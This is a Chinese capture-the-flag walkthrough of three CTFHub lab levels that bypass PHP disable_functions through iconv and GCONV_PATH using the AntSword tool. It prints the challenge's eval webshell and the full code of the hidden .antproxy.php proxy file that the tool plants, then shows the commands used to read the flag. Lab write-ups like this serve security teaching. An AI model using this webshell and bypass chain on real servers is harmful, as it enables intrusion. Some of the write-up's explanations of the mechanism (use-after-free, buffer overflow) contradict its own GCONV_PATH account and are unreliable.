当前位置: 首页 > news >正文

CTFHub Web进阶-PHP:Bypass_disable_function通关9之iconv,bypass iconv1,bypass iconv2

目录

一、iconv原理

二、iconv渗透实战

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、虚拟终端

5、蚁剑工具-disable function

(1)disable function插件

(2)iconv插件

(3).antproxy文件分析

(4)连接新木马

(5)新木马-虚拟终端查看flag

三、bypass iconv1渗透实战

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、虚拟终端

5、蚁剑工具-disable function

(1)disable function插件

(2)bypass iconv1插件

(3)连接新木马

(4)新木马-虚拟终端查看flag

四、bypass iconv2

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、虚拟终端

5、蚁剑工具-disable function

(1)disable function插件

(2)iconv插件

(3)连接新木马

(4)新木马-虚拟终端查看flag


本文详细讲解CTFHub的Web进阶中disable-functions的iconv关卡、bypass iconv1关卡、bypass iconv2共3关的渗透全流程。通过利用Linux系统iconv函数的环境变量特性(GCONV_PATH),配合恶意gconv-modules配置文件和.so动态库,成功绕过PHP安全限制实现命令执行。使用蚁剑工具的disablefunction插件生成反向代理木马(.antproxy.php),建立新会话连接后通过虚拟终端获取flag。三关渗透流程相似,最终均通过tac /flag命令成功读取flag值。该技术展示了字符编码处理模块在环境变量配置和动态库加载方面存在的安全隐患,为disable_functions绕过提供了新思路。

一、iconv原理

在CTFHub的Web进阶关卡中,iconv绕过disable_functions的技巧,主要利用了Linux系统中iconv函数相关的一个环境变量设计特性。下面这个表格总结了其核心攻击流程和原理:

步骤关键组件作用与原理
设置环境GCONV_PATH 环境变量通过putenv设置,欺骗iconv函数去加载攻击者自定义的gconv-modules配置文件,而非系统默认路径下的文件。
 配置文件gconv-modules 文件指示系统在需要进行字符集转换时,加载我们指定的恶意共享库(.so文件)。
恶意库编译的 .so 文件包含在库初始化时(如gconv_init函数中)执行的恶意系统命令。利用__attribute__ ((constructor))gconv_init函数,使动态库被加载时执行代码。
触发执行iconv 函数当PHP调用iconv进行字符集转换时,它会遵循GCONV_PATH的指引,触发恶意动态库的加载和执行其中的代码

二、iconv渗透实战

1、打开靶场

http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/

2、源码分析

这是一个利用PHP iconv扩展进行disable_functions绕过的攻击环境,通过eval($_REQUEST['ant'])执行恶意代码。攻击者借助iconv字符转换功能中的内存操作特性,结合PHP垃圾回收机制中的Use-After-Free风险,在特定PHP版本(7-8.0)中通过精心构造的字符集转换序列触发内存破坏,最终实现命令执行和权限提升,体现了字符处理扩展在底层内存管理方面存在的安全隐患。源码如下所示。

CTFHub Bypass disable_function —— iconv

本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— iconv</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— iconv</h1>
<p>
本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

3、蚁剑直接连接

http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/ 密码ant

4、虚拟终端

如下所示,命令执行失败

5、蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)iconv插件

插件选择iconv模式,如下所示。

点击开始后页面如下所示,在网站根目录下创建antproxy木马文件。

(3).antproxy文件分析

进入新木马的文件系统查看.antproxy文件,如下所示。

这是一个位于/var/www/html/.antproxy.php的PHP反向代理脚本,主要功能是将客户端请求转发到本地63219端口的后端服务。脚本通过fsockopen建立Socket连接,重构HTTP请求头(包括处理自定义Header和POST数据),实现请求转发并返回后端响应。该文件通常用于Web攻击中的流量转发、内网渗透或隐藏真实后端服务,其隐藏文件名(.antproxy.php)具有规避安全检测的意图

<?php
function get_client_header(){$headers=array();foreach($_SERVER as $k=>$v){if(strpos($k,'HTTP_')===0){$k=strtolower(preg_replace('/^HTTP/', '', $k));$k=preg_replace_callback('/_\w/','header_callback',$k);$k=preg_replace('/^_/','',$k);$k=str_replace('_','-',$k);if($k=='Host') continue;$headers[]="$k:$v";}}return $headers;
}
function header_callback($str){return strtoupper($str[0]);
}
function parseHeader($sResponse){list($headerstr,$sResponse)=explode("",$sResponse, 2);$ret=array($headerstr,$sResponse);if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){$ret=parseHeader($sResponse);}return $ret;
}set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63219;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";if (!empty($_SERVER['QUERY_STRING'])){$url .= "?".$_SERVER['QUERY_STRING'];
};$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){return false;
}$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {$method = "POST";$post_data = file_get_contents('php://input');
}$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;fputs($fp, $out);$response = '';
while($row=fread($fp, 4096)){$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

详细注释后的源码如下所示,实现HTTP反向代理功能,主要功能如下所示:

  • 请求转发:将客户端请求原样转发到127.0.0.1:63219的后端服务

  • 头部处理:重构HTTP请求头,保留客户端原始头部信息

  • 数据透传:支持GET/POST方法,完整传递参数和请求体

  • 响应代理:接收后端响应并返回给客户端

<?php
// 功能:获取客户端请求头并格式化处理
function get_client_header(){$headers=array();// 遍历$_SERVER超全局数组foreach($_SERVER as $k=>$v){// 只处理以HTTP_开头的头部信息if(strpos($k,'HTTP_')===0){$k=strtolower(preg_replace('/^HTTP/', '', $k));  // 移除HTTP_前缀并转小写$k=preg_replace_callback('/_\w/','header_callback',$k);  // 回调处理下划线后字符$k=preg_replace('/^_/','',$k);  // 移除开头的下划线$k=str_replace('_','-',$k);  // 将下划线替换为连字符if($k=='Host') continue;  // 跳过Host头,后面会单独处理$headers[]="$k:$v";  // 组装头部格式}}return $headers;
}// 回调函数:将匹配到的字符转为大写
function header_callback($str){return strtoupper($str[0]);  // 如将_content-type转为Content-Type
}// 功能:解析HTTP响应,分离头部和主体
function parseHeader($sResponse){list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2);  // 按空行分割响应头与体$ret=array($headerstr,$sResponse);// 检测是否为分块响应,递归处理if(preg_match('/^HTTP\/1.1 \d{3}/', $sResponse)){$ret=parseHeader($sResponse);}return $ret;
}// 设置脚本最大执行时间120秒
set_time_limit(120);// 获取客户端请求头
$headers=get_client_header();
$host = "127.0.0.1";  // 固定转发的目标主机
$port = 63219;        // 固定转发的目标端口
$errno = '';
$errstr = '';
$timeout = 30;        // 连接超时时间
$url = "/index.php";  // 默认请求路径// 如果存在查询字符串,追加到URL中
if (!empty($_SERVER['QUERY_STRING'])){$url .= "?".$_SERVER['QUERY_STRING'];
};// 建立到后端服务的Socket连接
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){return false;  // 连接失败直接返回
}// 确定请求方法和POST数据
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {$method = "POST";$post_data = file_get_contents('php://input');  // 原始POST数据
}// 构造HTTP请求头
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";  // 添加Host头
// 如果存在Content-Type头,添加到请求中
if (!empty($_SERVER['CONTENT_TYPE'])) {$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";  // 内容长度$out .= implode("\r\n",$headers);  // 添加其他客户端头部
$out .= "\r\n\r\n";  // HTTP协议空行分隔符
$out .= "".$post_data;  // 请求主体// 发送请求到后端服务
fputs($fp, $out);// 读取后端响应
$response = '';
while($row=fread($fp, 4096)){$response .= $row;  // 分块读取响应数据
}
fclose($fp);  // 关闭连接// 移除响应头部,只返回主体部分
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;  // 输出响应内容到客户端

(4)连接新木马

接下来连接新木马,具体配置方法如下所示。

http://challenge-db6e63af06a86a68.sandbox.ctfhub.com:10800/.antproxy.php
密码ant

如上所示测试连接成功,点击“添加”后页面如下所示,增加了新木马的会话连接,如下图红框所示。

(5)新木马-虚拟终端查看flag

通过“选中新木马的会话-右键-虚拟终端”进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

三、bypass iconv1渗透实战

本关卡与iconv的方法几乎一样,打开关卡如下所示。

1、打开靶场

http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/

2、源码分析

这是一个利用PHP iconv扩展进行disable_functions绕过的攻击环境,通过eval($_REQUEST['ant'])获取恶意代码。攻击者借助iconv字符转换功能中的GCONV_PATH环境变量机制,通过putenv设置自定义字符集转换配置路径,诱导iconv函数加载恶意共享库(.so文件),利用gconv-modules配置文件指向包含系统命令的恶意模块,在动态库初始化时执行任意命令,从而绕过PHP安全限制实现权限提升和Webshell持久化控制。源码如下所示。

CTFHub Bypass disable_function —— iconv Bypass 1

本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— iconv  Bypass 1</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— iconv  Bypass 1</h1>
<p>
本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

3、蚁剑直接连接

http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/ 密码ant。

4、虚拟终端

右键-虚拟终端,进入虚拟终端页面,具体如下所示。

如下所示,命令执行失败。

5、蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)bypass iconv1插件

插件选择iconv模式,如下所示。

点击开始后页面如下所示。

(3)连接新木马

http://challenge-58db3db581e30434.sandbox.ctfhub.com:10800/.antproxy.php

密码ant

添加后如下所示。

(4)新木马-虚拟终端查看flag

进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

四、bypass iconv2

本关卡与关卡9、关卡10的方法几乎一样,打开关卡如下所示。

1、打开靶场

http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/

2、源码分析

这是一个利用PHP iconv扩展进行disable_functions绕过的进阶攻击环境,通过eval($_REQUEST['ant'])执行恶意代码。攻击者利用iconv_open()函数在处理字符集名称时的风险,通过精心构造超长或特殊的字符集参数触发缓冲区溢出或内存破坏,结合PHP垃圾回收机制实现Use-After-Free利用,在特定PHP版本中绕过安全限制执行系统命令,最终实现权限提升和Webshell持久化控制,体现了字符编码处理模块在边界检查方面的安全隐患。源码如下所示。

CTFHub Bypass disable_function —— iconv Bypass 2

本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— iconv Bypass 2</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— iconv Bypass 2</h1>
<p>
本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

3、蚁剑直接连接

http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/ 密码ant。

4、虚拟终端

如下所示,命令执行失败。

5、蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)iconv插件

插件选择iconv模式,如下所示。

点击开始后页面如下所示。

(3)连接新木马

http://challenge-0afa0de629ead963.sandbox.ctfhub.com:10800/.antproxy.php

密码ant。

添加后如下所示。

(4)新木马-虚拟终端查看flag

进入在新木马的虚拟终端窗口,如下所示。

在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

ctfhub{89328b63badcf3ecab08fbdc}

至此,完成所有11关的渗透

http://www.dtcms.com/a/585946.html

相关文章:

  • 排序算法介绍
  • 服装私人订制网站高端网站建设公司名字
  • CSP-S 练习题:美丽的集合(ST表、二分查找、数论基础-GCD 的应用)
  • 建设一个本地网站网站内容怎么编辑
  • 接口测试基础知识
  • 新网站建设的感想做网站虚拟主机配置
  • LeetCode 419 - 棋盘上的战舰
  • 【视觉】对比分析 GigE Vision、USB3Vision、UCV三种协议
  • 无锡网站制作8揭阳专业做网站公司
  • 建站之星平台怒江网站制作
  • 网站推广技巧汨罗做网站价格
  • Qt-视频播放器
  • 基于单片机的电子琴设计与乐曲存储播放实现
  • 企业站seo哪家好任何人任意做网站销售产品违法吗
  • TensorRT笔记(1):自定义MNIST数据集推理类
  • 基本魔法语言函数(一)(C语言)
  • 西电现代密码学实验三
  • winlogon登录对话框user32!sldrawtext显示星号
  • 昌吉做网站推广的公司php网站后台忘记密码
  • 非法网站开发爱企业 查询
  • 【P1】win10安装 Docker教程
  • 苹果CMS搭建方法技术文章大纲
  • 台州黄岩做网站宁夏众擎达网站建设
  • 电商网站构建网站不支持php
  • 【好书】简史推荐(20251108)
  • [C++]缺省参数-声明和定义歧义问题
  • 做美食教程的网站有哪些软件商店app
  • mysql提权方式-UDF提权、MOF提权
  • 快站是个什么平台三只松鼠有趣的软文
  • Xilinx FPGA怎么使用LUTRAM